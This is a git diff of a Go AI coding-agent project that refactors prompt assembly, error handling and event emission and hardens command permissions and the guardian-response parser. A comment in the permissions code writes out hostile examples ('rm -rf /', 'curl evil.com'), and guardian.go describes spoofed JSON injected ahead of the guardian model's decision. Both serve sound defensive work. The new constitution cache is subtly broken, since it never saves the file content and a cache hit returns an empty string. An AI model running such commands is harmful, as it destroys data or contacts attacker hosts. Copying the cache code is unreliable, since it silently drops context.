stdout.String(), nil diff --git a/internal/engine/permission_session_methods.go b/internal/engine/permission_session_methods.go index a13aa990..a55af99a 100644 --- a/internal/engine/permission_session_methods.go +++ b/internal/engine/permission_session_methods.go @@ -5,6 +5,8 @@ import ( "os" "path/filepath" "strings" + "sync" + "time" "github.com/GrayCodeAI/hawk/internal/spec" ) @@ -54,6 +56,17 @@ const specStageSystemPrompt = "\n\n## Spec Stage (workflow gate)\n" + "Use `SpecList` to see existing specs. Use `SpecEdit` to refine artifacts mid-workflow. " + "Use `Constitution` tool to create/update project governing principles." +// constitutionCache caches the on-disk constitution.md contents keyed by path +// + mtime, so the per-turn prompt assembly (constitutionForPrompt) does not +// re-read an unchanged file from disk every turn. The file only changes when +// the spec tools rewrite it, so mtime is a sufficient invalidation signal. +var constitutionCache = struct { + sync.Mutex + path string + modTime time.Time + content string +}{} + func constitutionForPrompt(slug string) string { if slug == "" { return "" @@ -63,10 +76,27 @@ func constitutionForPrompt(slug string) string { return "" } path := filepath.Join(cwd, ".hawk", "specs", slug, "constitution.md") + + constitutionCache.Lock() + if constitutionCache.path == path { + if info, statErr := os.Stat(path); statErr == nil && info.ModTime().Equal(constitutionCache.modTime) { + content := constitutionCache.content + constitutionCache.Unlock() + return content + } + } + constitutionCache.Unlock() + data, err := os.ReadFile(path) if err != nil { return "" } + if info, statErr := os.Stat(path); statErr == nil { + constitutionCache.Lock() + constitutionCache.path = path + constitutionCache.modTime = info.ModTime() + constitutionCache.Unlock() + } return "\n\n## Project Constitution (active)\n" + "The following constitution governs all decisions in this spec workflow. " + "Every artifact you create must comply with these principles.\n\n" + diff --git a/internal/engine/self_heal.go b/internal/engine/self_heal.go index 1a74459e..0a48c21f 100644 --- a/internal/engine/self_heal.go +++ b/internal/engine/self_heal.go @@ -4,6 +4,7 @@ import ( "bufio" "bytes" "context" + "errors" "fmt" "os" "os/exec" @@ -437,7 +438,8 @@ func (sh *SelfHealer) RunScript(ctx context.Context, path string) (stdout, stder stderr = errBuf.String() if runErr != nil { - if exitErr, ok := runErr.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(runErr, &exitErr) { exitCode = exitErr.ExitCode() } else { exitCode = -1 @@ -472,7 +474,8 @@ func (sh *SelfHealer) runCommand(ctx context.Context, command string) (stdout, s stderr = errBuf.String() if runErr != nil { - if exitErr, ok := runErr.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(runErr, &exitErr) { exitCode = exitErr.ExitCode() } else { exitCode = -1 diff --git a/internal/engine/self_heal_test.go b/internal/engine/self_heal_test.go index cbda79f3..e7b97610 100644 --- a/internal/engine/self_heal_test.go +++ b/internal/engine/self_heal_test.go @@ -2,6 +2,7 @@ package engine import ( "context" + "errors" "fmt" "os" "path/filepath" @@ -146,7 +147,7 @@ func TestHeal_ContextCanceled(t *testing.T) { } sh := NewSelfHealer(chatFn) _, err := sh.Heal(ctx, script) - if err != context.Canceled { + if !errors.Is(err, context.Canceled) { t.Errorf("expected context.Canceled, got %v", err) } } diff --git a/internal/engine/session_reexports.go b/internal/engine/session_reexports.go index 3991362c..2d1c65e2 100644 --- a/internal/engine/session_reexports.go +++ b/internal/engine/session_reexports.go @@ -1,27 +1,27 @@ package engine -import "github.com/GrayCodeAI/hawk/internal/engine/session" +import "github.com/GrayCodeAI/hawk/internal/engine/compression" type ( - Timeline = session.Timeline - TimelineEvent = session.TimelineEvent - SessionCompressor = session.SessionCompressor - CompressStrategy = session.CompressStrategy - CompressMessage = session.CompressMessage - CompressedBlock = session.CompressedBlock - CompressionResult = session.CompressionResult - CrossSessionLearner = session.CrossSessionLearner - Insight = session.Insight - FailurePattern = session.FailurePattern - SessionConvention = session.SessionConvention - LearnerStats = session.LearnerStats + Timeline = compression.Timeline + TimelineEvent = compression.TimelineEvent + SessionCompressor = compression.SessionCompressor + CompressStrategy = compression.CompressStrategy + CompressMessage = compression.CompressMessage + CompressedBlock = compression.CompressedBlock + CompressionResult = compression.CompressionResult + CrossSessionLearner = compression.CrossSessionLearner + Insight = compression.Insight + FailurePattern = compression.FailurePattern + SessionConvention = compression.SessionConvention + LearnerStats = compression.LearnerStats ) -func NewTimeline(sessionID string) *Timeline { return session.NewTimeline(sessionID) } +func NewTimeline(sessionID string) *Timeline { return compression.NewTimeline(sessionID) } func NewSessionCompressor(strategy CompressStrategy) *SessionCompressor { - return session.NewSessionCompressor(strategy) + return compression.NewSessionCompressor(strategy) } func NewCrossSessionLearner(dir string) *CrossSessionLearner { - return session.NewCrossSessionLearner(dir) + return compression.NewCrossSessionLearner(dir) } diff --git a/internal/engine/snapshot_cache_test.go b/internal/engine/snapshot_cache_test.go index 1e3c8f57..b20bdf53 100644 --- a/internal/engine/snapshot_cache_test.go +++ b/internal/engine/snapshot_cache_test.go @@ -91,7 +91,7 @@ func TestSnapshotCache_GetOrCompute_ComputeError(t *testing.T) { _, err := cache.GetOrCompute("key1", func() (string, error) { return "", expectedErr }) - if err != expectedErr { + if !errors.Is(err, expectedErr) { t.Fatalf("expected %v, got %v", expectedErr, err) } diff --git a/internal/engine/stream.go b/internal/engine/stream.go index 2f05a06a..cf7f655c 100644 --- a/internal/engine/stream.go +++ b/internal/engine/stream.go @@ -22,6 +22,106 @@ import ( "github.com/GrayCodeAI/hawk/internal/ui/icons" ) +// turnContext carries the per-turn, pre-compute values that buildTurnOptions +// assembles into a ChatOptions. Extracting it keeps agentLoop readable and +// gives the prompt-assembly logic a single home (H3). +type turnContext struct { + ctx context.Context + activeModel string + maxTok int + smallTalk bool + lastUserMsg string + taskType string +} + +// buildTurnOptions assembles the ChatOptions for a single agentic turn: base +// system prompt (tiered for small-talk), ephemeral injections (beliefs, memory +// nudge, smart skills, spec stage, work mode), promoted tools, and the active +// model. Kept side-effect free except for PromoteForIntent (a cache warm) so it +// can be reasoned about and tested in isolation from the LLM call + stream +// consumption that follow it in agentLoop. +func (s *Session) buildTurnOptions(tc turnContext) types.ChatOptions { + activeModel := tc.activeModel + maxTok := tc.maxTok + smallTalk := tc.smallTalk + lastUserMsg := tc.lastUserMsg + + baseSystem := s.Persistence().System() + if smallTalk { + // The identity preamble already coaches the model to answer + // greetings without tools — the role/tool/practice sections + // below it only add prefill cost on this turn. + baseSystem = prompt.System() + } + baseOpts := s.ChatLLM().BuildOptions(baseSystem, activeModel, maxTok, nil) + opts := baseOpts + // Inject beliefs as ephemeral context (not persisted to s.Persistence().System()) + if s.LifecycleSvc().Beliefs() != nil && s.LifecycleSvc().Beliefs().Size() > 0 { + if summary := s.LifecycleSvc().Beliefs().FormatForPrompt(); summary != "" { + opts.System += "\n\n## Agent Beliefs\n" + summary + } + } + // Activity nudge: remind agent to persist learnings if idle. Injected + // ephemerally (not persisted) so it never accumulates across turns. + if s.MemorySvc().Activity() != nil { + if nudge := s.MemorySvc().Activity().NudgeMessage(); nudge != "" { + opts.System += "\n\n" + nudge + } + } + // Auto-skill: match smart skills against the last user message and + // inject a compact listing. The LLM uses the Skill tool for full content. + smartSkills := s.LifecycleSvc().SmartSkills() + if len(smartSkills) > 0 { + lum := "" + for i := len(s.Persistence().RawMessages()) - 1; i >= 0; i-- { + if s.Persistence().RawMessages()[i].Role == "user" && len(s.Persistence().RawMessages()[i].ToolResults) == 0 { + lum = s.Persistence().RawMessages()[i].Content + break + } + } + if lum != "" { + if matched := plugin.MatchSkillsByContext(smartSkills, lum); len(matched) > 0 { + if skillsPrompt := plugin.FormatSkillsCompact(matched); skillsPrompt != "" { + opts.System += "\n\n" + skillsPrompt + } + } + } + } + // Spec stage: steer the model through Specify -> Plan -> Tasks and an + // explicit approval handoff before any changes. Ephemeral (not + // persisted to s.Persistence().System()) so it disappears once the + // stage advances to Implementing. + if stage := s.PermSvc().SpecStage(); stage != SpecStageNone && stage != SpecStageImplementing { + opts.System += specStageSystemPrompt + // Inject project constitution as governing principles + if constitution := constitutionForPrompt(s.PermSvc().SpecSlug()); constitution != "" { + opts.System += constitution + } + // Inject user's spec configuration (language, framework, etc.) + // as context so the model writes specs that match preferences. + if cfgPrompt := specConfigForPrompt(); cfgPrompt != "" { + opts.System += cfgPrompt + } + } + // Work mode (plan/act/review) — ephemeral product control plane. + if addon := s.workModeSystemAddon(); addon != "" { + opts.System += "\n\n" + addon + } + if s.Tools() != nil && s.Tools().Registry() != nil { + // Promote only the small set of registered tools that match the + // current request. This keeps the default schema compact while + // making URL, verification, git, and code-intelligence requests + // discoverable without requiring the model to guess ToolSearch. + if lastUserMsg != "" { + s.Tools().Registry().PromoteForIntent(lastUserMsg) + } + if !smallTalk { + opts.Tools = s.Tools().Registry().EyrieTools() + } + } + return opts +} + // Stream runs the agentic loop: LLM → tool_use → execute → loop. func (s *Session) Stream(ctx context.Context) (<-chan StreamEvent, error) { ch := make(chan StreamEvent, 64) @@ -31,6 +131,16 @@ func (s *Session) Stream(ctx context.Context) (<-chan StreamEvent, error) { func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { defer close(ch) + // emit sends an event to the consumer, but abandons the send (instead of + // blocking forever) if the context is already done — e.g. the consumer + // exited early after an error. This bounds the agentLoop goroutine and + // prevents leaks on the post-stream bare sends below. + emit := func(ev StreamEvent) { + select { + case ch <- ev: + case <-ctx.Done(): + } + } sessionStart := time.Now() // Start session-level trace span @@ -121,7 +231,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { // Context governor: collapse → micro/smart/truncate (settings threshold %). tokensBefore := EstimateTokens(s.Persistence().RawMessages()) if s.WillCompactBeforeTurn() { - ch <- StreamEvent{Type: "compact_start"} + emit(StreamEvent{Type: "compact_start"}) } if compactStrategy, didCompact := s.ManageContextBeforeTurn(ctx); didCompact { tokensAfter := EstimateTokens(s.Persistence().RawMessages()) @@ -129,12 +239,12 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { "strategy": compactStrategy, "messages": len(s.Persistence().RawMessages()), }) - ch <- StreamEvent{ + emit(StreamEvent{ Type: "compact", Content: compactStrategy, TokensBefore: tokensBefore, TokensAfter: tokensAfter, - } + }) } // Integration pipeline: pre-query (intent, tools, budget, injection scan, cache) @@ -150,14 +260,14 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { if preResult != nil { // Cache hit: short-circuit the LLM call if preResult.CacheHit && preResult.CachedResponse != "" { - ch <- StreamEvent{Type: "content", Content: preResult.CachedResponse} + emit(StreamEvent{Type: "content", Content: preResult.CachedResponse}) s.Persistence().SetRawMessages(append(s.Persistence().RawMessages(), types.EyrieMessage{Role: "assistant", Content: preResult.CachedResponse})) - ch <- StreamEvent{Type: "done"} + emit(StreamEvent{Type: "done"}) return } if preResult.InjectionRisk != nil && preResult.InjectionRisk.IsRisky { if preResult.InjectionRisk.RiskLevel == "high" { - ch <- StreamEvent{Type: "error", Content: "High-risk prompt injection detected. Message blocked."} + emit(StreamEvent{Type: "error", Content: "High-risk prompt injection detected. Message blocked."}) return } s.Logger().Warn("injection risk detected", map[string]interface{}{ @@ -205,7 +315,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { activeModel = s.LifecycleSvc().Cascade().SelectModel(lastUserMsg, activeModel, "") } if strings.TrimSpace(activeModel) == "" { - ch <- StreamEvent{Type: "error", Content: "no model selected — open /config → Models and pick one"} + emit(StreamEvent{Type: "error", Content: "no model selected — open /config → Models and pick one"}) return } @@ -233,76 +343,17 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { } smallTalk := lastUserMsg != "" && isSmallTalkPrompt(lastUserMsg) && !sessionHasToolUse(s.Persistence().RawMessages()) - // Build the LLM ChatOptions via the ChatService. The service owns - // the GLMThinking toggle, output schema, anthropic caching flag, - // and the active provider/model — building opts manually here - // would duplicate that logic. - baseSystem := s.Persistence().System() - if smallTalk { - // The identity preamble already coaches the model to answer - // greetings without tools — the role/tool/practice sections - // below it only add prefill cost on this turn. - baseSystem = prompt.System() - } - baseOpts := s.ChatLLM().BuildOptions(baseSystem, activeModel, maxTok, nil) - opts := baseOpts - // Inject beliefs as ephemeral context (not persisted to s.Persistence().System()) - if s.LifecycleSvc().Beliefs() != nil && s.LifecycleSvc().Beliefs().Size() > 0 { - if summary := s.LifecycleSvc().Beliefs().FormatForPrompt(); summary != "" { - opts.System += "\n\n## Agent Beliefs\n" + summary - } - } - // Auto-skill: match smart skills against the last user message and - // inject a compact listing. The LLM uses the Skill tool for full content. - smartSkills := s.LifecycleSvc().SmartSkills() - if len(smartSkills) > 0 { - lastUserMsg := "" - for i := len(s.Persistence().RawMessages()) - 1; i >= 0; i-- { - if s.Persistence().RawMessages()[i].Role == "user" && len(s.Persistence().RawMessages()[i].ToolResults) == 0 { - lastUserMsg = s.Persistence().RawMessages()[i].Content - break - } - } - if lastUserMsg != "" { - if matched := plugin.MatchSkillsByContext(smartSkills, lastUserMsg); len(matched) > 0 { - if skillsPrompt := plugin.FormatSkillsCompact(matched); skillsPrompt != "" { - opts.System += "\n\n" + skillsPrompt - } - } - } - } - // Spec stage: steer the model through Specify -> Plan -> Tasks and an - // explicit approval handoff before any changes. Ephemeral (not - // persisted to s.Persistence().System()) so it disappears once the - // stage advances to Implementing. - if stage := s.PermSvc().SpecStage(); stage != SpecStageNone && stage != SpecStageImplementing { - opts.System += specStageSystemPrompt - // Inject project constitution as governing principles - if constitution := constitutionForPrompt(s.PermSvc().SpecSlug()); constitution != "" { - opts.System += constitution - } - // Inject user's spec configuration (language, framework, etc.) - // as context so the model writes specs that match preferences. - if cfgPrompt := specConfigForPrompt(); cfgPrompt != "" { - opts.System += cfgPrompt - } - } - // Work mode (plan/act/review) — ephemeral product control plane. - if addon := s.workModeSystemAddon(); addon != "" { - opts.System += "\n\n" + addon - } - if s.Tools() != nil && s.Tools().Registry() != nil { - // Promote only the small set of registered tools that match the - // current request. This keeps the default schema compact while - // making URL, verification, git, and code-intelligence requests - // discoverable without requiring the model to guess ToolSearch. - if lastUserMsg != "" { - s.Tools().Registry().PromoteForIntent(lastUserMsg) - } - if !smallTalk { - opts.Tools = s.Tools().Registry().EyrieTools() - } - } + // Assemble the per-turn ChatOptions (system prompt tiering, ephemeral + // injections, promoted tools) via the extracted helper so agentLoop + // stays focused on the LLM call + stream consumption that follow. + opts := s.buildTurnOptions(turnContext{ + ctx: ctx, + activeModel: activeModel, + maxTok: maxTok, + smallTalk: smallTalk, + lastUserMsg: lastUserMsg, + taskType: taskType, + }) // Inject memory metadata from yaad if s.MemorySvc().Yaad() != nil && s.MemorySvc().Yaad().Ready() { @@ -333,7 +384,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { inPrice, outPrice := ModelPricing(s.ChatLLM().Model()) estCost := float64(inputTokens)*inPrice/1_000_000 + float64(maxTok)*outPrice/1_000_000 if estCost > 0.50 { - ch <- StreamEvent{Type: "blast_radius", Content: fmt.Sprintf("%s This request will use ~%d tokens (~$%.2f). Continue? The agent will proceed automatically.", icons.Alert(), inputTokens+maxTok, estCost)} + emit(StreamEvent{Type: "blast_radius", Content: fmt.Sprintf("%s This request will use ~%d tokens (~$%.2f). Continue? The agent will proceed automatically.", icons.Alert(), inputTokens+maxTok, estCost)}) } // Trace: start agent loop span for this turn @@ -362,7 +413,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { s.Logger().Error("stream error", map[string]interface{}{ "error": err.Error(), }) - ch <- StreamEvent{Type: "error", Content: err.Error()} + emit(StreamEvent{Type: "error", Content: err.Error()}) return } @@ -492,13 +543,13 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { case <-retryTimer.C: case <-ctx.Done(): retryTimer.Stop() - ch <- StreamEvent{Type: "error", Content: "stream retry cancelled: " + ctx.Err().Error()} + emit(StreamEvent{Type: "error", Content: "stream retry cancelled: " + ctx.Err().Error()}) result.Close() return } // Notify consumer to discard previously streamed content for this turn. - ch <- StreamEvent{Type: "retry", Content: fmt.Sprintf("retrying after %s (attempt %d)", retryReason, streamAttempt+2)} + emit(StreamEvent{Type: "retry", Content: fmt.Sprintf("retrying after %s (attempt %d)", retryReason, streamAttempt+2)}) // Re-open the stream for retry. We bypass the ChatService // here on purpose: ChatService.Stream has its own retry @@ -507,7 +558,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { // The session agent loop owns this layer. result, err = s.ChatLLM().Client().StreamChatContinue(ctx, s.Persistence().RawMessages(), opts, types.DefaultContinuationConfig()) if err != nil { - ch <- StreamEvent{Type: "error", Content: err.Error()} + emit(StreamEvent{Type: "error", Content: err.Error()}) return } // Reset accumulated state for the retry @@ -519,7 +570,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { streamErr = nil } if streamErr != nil { - ch <- StreamEvent{Type: "error", Content: streamErr.Error()} + emit(StreamEvent{Type: "error", Content: streamErr.Error()}) return } @@ -559,8 +610,8 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { // checkGuardConditions) enforces the same budget as this explicit check. limits.SetCostUSD(s.CostValue().TotalUSD()) if limits.MaxBudgetUSD() > 0 && s.CostValue().TotalUSD() >= limits.MaxBudgetUSD() { - ch <- StreamEvent{Type: "content", Content: fmt.Sprintf("\n\nBudget limit reached ($%.2f spent of $%.2f).", s.CostValue().TotalUSD(), limits.MaxBudgetUSD())} - ch <- StreamEvent{Type: "done"} + emit(StreamEvent{Type: "content", Content: fmt.Sprintf("\n\nBudget limit reached ($%.2f spent of $%.2f).", s.CostValue().TotalUSD(), limits.MaxBudgetUSD())}) + emit(StreamEvent{Type: "done"}) return } @@ -583,7 +634,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { excess := toolCalls[maxToolCallsPerStep:] toolCalls = toolCalls[:maxToolCallsPerStep] for _, tc := range excess { - ch <- StreamEvent{Type: "tool_result", ToolName: tc.Name, Content: "Error: too many tool calls in one step (max 32). Retry with fewer calls."} + emit(StreamEvent{Type: "tool_result", ToolName: tc.Name, Content: "Error: too many tool calls in one step (max 32). Retry with fewer calls."}) } } @@ -601,13 +652,6 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { oteltrace.EndSpanWithError(loopSpan, nil) } - // Activity nudge: remind agent to persist learnings if idle - if s.MemorySvc().Activity() != nil { - if nudge := s.MemorySvc().Activity().NudgeMessage(); nudge != "" { - s.AppendSystemContext(nudge) - } - } - // Compatibility-only max_tokens recovery. Eyrie's engine facade owns // continuation and exposes one normalized stream to Hawk. Legacy clients // retain the historical synthetic turn so injected integrations do not @@ -634,14 +678,14 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { } if textContent.Len() > 0 { s.Persistence().SetRawMessages(append(s.Persistence().RawMessages(), types.EyrieMessage{Role: "assistant", Content: textContent.String()})) - // Auto-remember corrections and learnings + // Auto-remember corrections and learnings. Best-effort + // fire-and-forget: the memory backend's Remember does not yet + // accept a context, so this goroutine cannot be cancelled mid-call. + // MemoryService.Remember(ctx, ...) reserves ctx for exactly this + // extension when the backend becomes context-aware. if s.MemorySvc().Memory() != nil && shouldRemember(textContent.String()) { go func(content string) { - // Use timeout context so goroutine doesn't hang if backend is slow. - rCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx), 10*time.Second) - defer cancel() _ = s.MemorySvc().Memory().Remember(content, "assistant_learning") - _ = rCtx // timeout context available if Remember is extended to accept it }(textContent.String()) } } @@ -716,7 +760,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { _ = s.MemorySvc().Yaad().Remember(string(content), "skill") }() } - ch <- StreamEvent{Type: "done"} + emit(StreamEvent{Type: "done"}) // Integration pipeline: end-session (assess, learn, store experience) if s.LifecycleSvc().Pipeline() != nil { taskGoal := "" @@ -839,7 +883,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { Role: "user", Content: "[User guidance during execution]: " + steer.Content, })) - ch <- StreamEvent{Type: "content", Content: "\n[Steering received: " + steer.Content + "]\n"} + emit(StreamEvent{Type: "content", Content: "\n[Steering received: " + steer.Content + "]\n"}) } } @@ -859,7 +903,7 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { if s.Tools().Sandbox() != nil && s.Tools().Sandbox().IsEnabled() { pending := s.Tools().Sandbox().List() if len(pending) > 0 { - ch <- StreamEvent{Type: "content", Content: fmt.Sprintf("\n[%d change(s) staged for review]", len(pending))} + emit(StreamEvent{Type: "content", Content: fmt.Sprintf("\n[%d change(s) staged for review]", len(pending))}) } } @@ -896,17 +940,41 @@ func (s *Session) agentLoop(ctx context.Context, ch chan<- StreamEvent) { // full system prompt nor any tool schemas. The system prompt instructs the // model to answer these directly, so sending the tool surface would only // add prompt-prefill cost. +// isSmallTalkPrompt detects short greetings/closings so the payload can be +// tiered down. The match must be conservative: this function decides whether +// to SKIP the full prompt context, so a false positive (dropping context for a +// real request like "hi there, who fixes this bug?") is far costlier than a +// false negative (sending a slightly bigger payload for genuine small talk). +// +// It returns true when the whole prompt is small talk: an exact match against +// a closed phrase list, or a phrase followed only by short filler (no comma or +// clause that introduces a real request). func isSmallTalkPrompt(prompt string) bool { text := strings.ToLower(strings.TrimSpace(prompt)) text = strings.Trim(text, " \t\r\n.,!?;:") - switch text { - case "hi", "hello", "hey", "how are you", "how are you doing", "how's it going", "what's up", - "who are you", "what can you do", "thanks", "thank you", "good morning", "good afternoon", - "good evening", "nice to meet you", "goodbye", "bye": - return true - default: - return false + for _, phrase := range smallTalkPhrases { + if text == phrase { + return true + } + // Allow a trailing filler word (e.g. "hi there") but stop at a comma or + // anything that looks like a real request clause. + if strings.HasPrefix(text, phrase+" ") { + remainder := text[len(phrase)+1:] + if !strings.ContainsAny(remainder, ",;:?") && len(remainder) <= 12 { + return true + } + } } + return false +} + +var smallTalkPhrases = []string{ + "hi", "hi there", "hello", "hey", "hey there", + "how are you", "how are you doing", "how's it going", "how's it going today", + "what's up", "who are you", "what can you do", + "thanks", "thank you", "thanks a lot", + "good morning", "good afternoon", "good evening", "nice to meet you", + "goodbye", "bye", } // sessionHasToolUse reports whether any message in the conversation already diff --git a/internal/engine/tool_service.go b/internal/engine/tool_service.go index 5033c191..e3c1db48 100644 --- a/internal/engine/tool_service.go +++ b/internal/engine/tool_service.go @@ -456,7 +456,9 @@ func (s *ToolService) ExecuteOne(ctx context.Context, tc types.ToolCall, overrid cancel() result.output, result.err, result.isErr, result.span = output, execErr, execErr != nil, span if result.isErr { - result.output = fmt.Sprintf("Error: %s", execErr.Error()) + // Preserve any partial output the tool produced before failing so the + // LLM can see what happened, then append the error. + result.output = output + "\n\nError: " + execErr.Error() } return result } diff --git a/internal/engine/validation/lint_loop.go b/internal/engine/validation/lint_loop.go index 5a6b769c..9ec6c7e1 100644 --- a/internal/engine/validation/lint_loop.go +++ b/internal/engine/validation/lint_loop.go @@ -3,6 +3,7 @@ package validation import ( "bytes" "context" + "errors" "fmt" "os/exec" "path/filepath" @@ -114,7 +115,8 @@ func (ll *LintLoop) RunLint(path string) (*LintResult, error) { // Lint failed — parse errors from output exitCode := 1 - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { exitCode = exitErr.ExitCode() } diff --git a/internal/engine/validation/test_loop.go b/internal/engine/validation/test_loop.go index 3ac8dd11..dcc92848 100644 --- a/internal/engine/validation/test_loop.go +++ b/internal/engine/validation/test_loop.go @@ -5,6 +5,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "os" "os/exec" @@ -175,7 +176,8 @@ func (tl *TestLoop) RunTests(ctx context.Context, projectDir string) (*TestResul passed := true if err != nil { passed = false - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { exitCode = exitErr.ExitCode() } else { exitCode = 1 diff --git a/internal/feature/shellmode/shellmode.go b/internal/feature/shellmode/shellmode.go index d5122121..cf91139d 100644 --- a/internal/feature/shellmode/shellmode.go +++ b/internal/feature/shellmode/shellmode.go @@ -5,6 +5,7 @@ package shellmode import ( "bytes" "context" + "errors" "fmt" "os/exec" "runtime" @@ -99,12 +100,15 @@ func ExecuteShellWithTimeout(ctx context.Context, cmdStr string, timeout time.Du if ctx.Err() == context.DeadlineExceeded { result.ExitCode = 124 // Standard timeout exit code. result.Stderr += fmt.Sprintf("\ncommand timed out after %s", timeout) - } else if exitErr, ok := err.(*exec.ExitError); ok { - result.ExitCode = exitErr.ExitCode() } else { - result.ExitCode = 1 - if result.Stderr == "" { - result.Stderr = err.Error() + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { + result.ExitCode = exitErr.ExitCode() + } else { + result.ExitCode = 1 + if result.Stderr == "" { + result.Stderr = err.Error() + } } } } diff --git a/internal/lsp/manager_test.go b/internal/lsp/manager_test.go index 01846954..23c53c8d 100644 --- a/internal/lsp/manager_test.go +++ b/internal/lsp/manager_test.go @@ -2,6 +2,7 @@ package lsp import ( "context" + "errors" "testing" "time" ) @@ -54,9 +55,10 @@ func TestManagerExecute_LanguageNotConfigured(t *testing.T) { if err == nil { t.Error("expected error for unconfigured language") } - if e, ok := err.(*LSPError); ok { - if e.Code != "LANG_NOT_CONFIGURED" { - t.Errorf("expected LANG_NOT_CONFIGURED, got %s", e.Code) + var lspErr *LSPError + if errors.As(err, &lspErr) { + if lspErr.Code != "LANG_NOT_CONFIGURED" { + t.Errorf("expected LANG_NOT_CONFIGURED, got %s", lspErr.Code) } } } diff --git a/internal/multiagent/parallel/parallel_test.go b/internal/multiagent/parallel/parallel_test.go index 6e219360..9b79b48f 100644 --- a/internal/multiagent/parallel/parallel_test.go +++ b/internal/multiagent/parallel/parallel_test.go @@ -153,7 +153,7 @@ func TestParallelExecution(t *testing.T) { // Verify the worktree is functional by checking for README. if _, err := os.Stat(filepath.Join(wtPath, "README.md")); err != nil { running.Add(-1) - return "", fmt.Errorf("README not found: %v", err) + return "", fmt.Errorf("README not found: %w", err) } running.Add(-1) diff --git a/internal/permissions/advanced.go b/internal/permissions/advanced.go index 4cd29c10..5c01c5da 100644 --- a/internal/permissions/advanced.go +++ b/internal/permissions/advanced.go @@ -187,13 +187,37 @@ func (a *AutoModeState) semanticMatch(cmd string) (matched, allowed bool) { if p == "" { continue } - if strings.HasPrefix(cmd, p) || strings.HasPrefix(prefix, p) { + // A prefix match only auto-allows when the command is "bounded": + // the approved prefix must be followed by nothing, whitespace (more + // args of the same command), or end-of-input — never by a shell + // metacharacter. Otherwise approving "git status" would also approve + // "git status; rm -rf /" or "git status && curl evil.com ...". + if (strings.HasPrefix(cmd, p) || strings.HasPrefix(prefix, p)) && commandIsBounded(cmd, p) { return true, true } } return false, false } +// commandIsBounded reports whether cmd, having matched approved prefix p, does +// not continue with a shell metacharacter that would start a new command. It +// permits the remainder to be empty, whitespace-led (further arguments), or a +// redirection that is part of the same simple command; it rejects ; && || | $ +// ( and backtick, which all introduce a separate command. +func commandIsBounded(cmd, prefix string) bool { + rest := strings.TrimPrefix(cmd, prefix) + if rest == "" { + return true + } + next := rest[0] + // Whitespace continues the same command with more arguments. + if next == ' ' || next == '\t' { + return true + } + // Anything else (;, &, |, $, `(, newline, etc.) starts a new command. + return false +} + // hasBroadAllow reports whether there's a wildcard allow pattern for the // given command prefix (e.g. "git" matches "Bash:git *"). func (a *AutoModeState) hasBroadAllow(prefix string) bool { diff --git a/internal/permissions/guardian.go b/internal/permissions/guardian.go index 62118d6d..1bf137c1 100644 --- a/internal/permissions/guardian.go +++ b/internal/permissions/guardian.go @@ -222,14 +222,23 @@ func (g *Guardian) buildReviewPrompt(req GuardianRequest) string { func parseGuardianResponse(response string) (*GuardianDecision, error) { response = strings.TrimSpace(response) - candidate := extractFirstJSONObject(response) + // Prefer a JSON object that carries the "allowed" key — the real decision — + // over an arbitrary earlier "{...}" that could be an injected fragment. + // Fall back to the first object for backward compatibility. + candidate := extractJSONObjectWithKey(response, "allowed") + if candidate == "" { + candidate = extractFirstJSONObject(response) + } if candidate == "" { return nil, fmt.Errorf("%w: no JSON object found in %q", ErrGuardianUnparseable, truncateForLog(response, 200)) } var decision GuardianDecision if err := json.Unmarshal([]byte(candidate), &decision); err != nil { - return nil, fmt.Errorf("%w: %v in %q", ErrGuardianUnparseable, err, truncateForLog(candidate, 200)) + // Wrap the unmarshal error so its chain is preserved (%w), and keep the + // candidate in the message for debuggability. The sentinel is reachable + // via errors.Is because fmt.Errorf with %w preserves the wrapped chain. + return nil, fmt.Errorf("%w (unmarshal %q: %w)", ErrGuardianUnparseable, truncateForLog(candidate, 200), err) } // Validate confidence range. Models occasionally emit @@ -303,6 +312,56 @@ func extractFirstJSONObject(response string) string { return "" } +// extractJSONObjectWithKey walks response and returns the first brace-balanced +// JSON object substring that contains the given JSON object key (e.g. +// "allowed"), or "" if none does. It reuses the same brace/tracking rules as +// extractFirstJSONObject. Preferring a key-bearing object makes the parser +// resists an adversary that prepends a spoofed "{...}" ahead of the real +// decision: injected fragments without the expected key are skipped. +func extractJSONObjectWithKey(response, key string) string { + for i := 0; i < len(response); i++ { + if response[i] != '{' { + continue + } + depth := 0 + inString := false + escape := false + for j := i; j < len(response); j++ { + c := response[j] + if escape { + escape = false + continue + } + if c == '\\' && inString { + escape = true + continue + } + if c == '"' { + inString = !inString + continue + } + if inString { + continue + } + if c == '{' { + depth++ + continue + } + if c == '}' { + depth-- + if depth == 0 { + obj := response[i : j+1] + if strings.Contains(obj, key) { + return obj + } + break // this object lacks the key; move to the next '{' + } + } + } + } + return "" +} + // truncateForLog truncates s to max bytes for error messages; long // LLM responses shouldn't bloat the log. func truncateForLog(s string, max int) string { diff --git a/internal/permissions/injection_scanner.go 